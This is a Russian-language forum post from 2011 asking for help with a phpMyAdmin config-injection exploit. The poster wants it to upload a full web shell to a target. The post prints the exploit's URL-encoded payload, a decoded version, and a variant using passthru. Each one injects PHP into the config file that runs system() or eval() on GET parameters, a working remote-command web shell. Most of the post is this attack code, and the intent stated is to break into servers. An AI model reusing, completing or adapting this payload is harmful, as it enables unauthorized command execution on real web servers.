Помогите разобраться с работой сплойта phpmyadmin

04.07.2011, 11:59

Bigmanhlo

Новичок

Регистрация: 09.05.2011

Сообщений: 1

С нами: 7900886

Репутация: 0

Вообщем суть такова. Вот сплойт http://www.exploit-db.com/download/8921/.

По сути мне нужно сделать так чтобы, чтобы этот эксплойт мне залил полноценный шелл. Но столкнулся с рядом проблемм.

Вот шифрованный код.

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bsystem[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR]

Вот рассшифрованный

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]'; if($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';system($_GET['[/COLOR][COLOR="#0000BB"]c[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';}if($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']){echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';eval($_GET['[/COLOR][COLOR="#0000BB"]p[/COLOR][COLOR="#DD0000"]']);echo '[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]';};//'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#DD0000"]'localhost'[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]

Но даже для примера просто пробую поменять в коде passthru вместо system. И сплойт не пишет пхп код в конфиг. Хоть что, изменяешь в коде, он перестаёт писать в конфиг, даже простой метод в место GET, ставлю POST. И уже мой пхп код, не пишеться в конфиг.

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3bpassthru[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27c[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}if(\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"]){echo%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3cpre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3beval[/COLOR][COLOR="#007700"](\[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5b[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27p[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]5d[/COLOR][COLOR="#007700"])%[/COLOR][COLOR="#0000BB"]3becho[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]20[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3c[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]pre[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3e[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]27[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#007700"]}%[/COLOR][COLOR="#0000BB"]3b[/COLOR][COLOR="#FF8000"]//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}[/COLOR][/COLOR]

Что мне конкретно надо? Чтобы вшить в сплойт полноценный шелл, и он мне залил его. Но я не могу понять толи какие то ограничения по символам толи что, подсказывайте . Другие сплойты не предлагать, запись в конфиг есть, но мне надо конретно сделать тот вопрос, о котором спросил, других альтернатих не предлагайте, нужно именно этот пример. Спасибо

𝕏 Twitter Reddit Telegram Копировать ссылку